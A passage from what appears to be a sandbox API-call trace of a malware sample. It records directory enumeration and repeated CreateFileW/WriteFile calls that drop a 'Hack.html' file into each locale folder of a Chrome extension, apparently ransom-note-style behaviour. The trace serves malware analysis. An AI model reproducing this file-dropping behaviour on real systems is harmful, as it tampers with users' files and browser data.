hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.325] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.325] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.326] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\Hack.html", lpFilePart=0x0) returned 0x97 [0074.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0074.326] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.326] GetFileType (hFile=0x174) returned 0x1 [0074.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0074.326] GetFileType (hFile=0x174) returned 0x1 [0074.326] WriteFile (in: hFile=0x174, lpBuffer=0x27586b0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x27586b0*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.328] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it", lpFilePart=0x0) returned 0x8d [0074.328] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\", lpFilePart=0x0) returned 0x8e [0074.328] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.328] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.328] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.328] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.328] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.329] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it", lpFilePart=0x0) returned 0x8d [0074.329] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\", lpFilePart=0x0) returned 0x8e [0074.329] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.329] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.329] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.329] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.329] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.329] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\Hack.html", lpFilePart=0x0) returned 0x97 [0074.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0074.329] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.330] GetFileType (hFile=0x174) returned 0x1 [0074.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0074.330] GetFileType (hFile=0x174) returned 0x1 [0074.330] WriteFile (in: hFile=0x174, lpBuffer=0x275dd60*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x275dd60*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.331] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja", lpFilePart=0x0) returned 0x8d [0074.331] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\", lpFilePart=0x0) returned 0x8e [0074.331] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.332] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.332] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.333] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.333] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.333] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja", lpFilePart=0x0) returned 0x8d [0074.333] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\", lpFilePart=0x0) returned 0x8e [0074.333] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.333] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.333] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.333] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.334] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.334] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\Hack.html", lpFilePart=0x0) returned 0x97 [0074.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0074.334] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.334] GetFileType (hFile=0x174) returned 0x1 [0074.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0074.334] GetFileType (hFile=0x174) returned 0x1 [0074.335] WriteFile (in: hFile=0x174, lpBuffer=0x2763410*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x2763410*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.336] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko", lpFilePart=0x0) returned 0x8d [0074.336] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\", lpFilePart=0x0) returned 0x8e [0074.336] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.336] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.336] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.336] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.337] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.337] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko", lpFilePart=0x0) returned 0x8d [0074.337] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\", lpFilePart=0x0) returned 0x8e [0074.337] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.337] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.337] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.337] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.337] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.338] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\Hack.html", lpFilePart=0x0) returned 0x97 [0074.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0074.338] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.338] GetFileType (hFile=0x174) returned 0x1 [0074.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0074.338] GetFileType (hFile=0x174) returned 0x1 [0074.338] WriteFile (in: hFile=0x174, lpBuffer=0x2768ac0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x2768ac0*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.340] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt", lpFilePart=0x0) returned 0x8d [0074.340] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\", lpFilePart=0x0) returned 0x8e [0074.340] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.341] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.341] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.341] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.341] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.341] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt", lpFilePart=0x0) returned 0x8d [0074.341] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\", lpFilePart=0x0) returned 0x8e [0074.341] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.342] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.342] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.342] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.342] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.342] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\Hack.html", lpFilePart=0x0) returned 0x97 [0074.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0074.342] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.343] GetFileType (hFile=0x174) returned 0x1 [0074.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0074.343] GetFileType (hFile=0x174) returned 0x1 [0074.343] WriteFile (in: hFile=0x174, lpBuffer=0x276e170*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x276e170*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.344] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv", lpFilePart=0x0) returned 0x8d [0074.344] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: 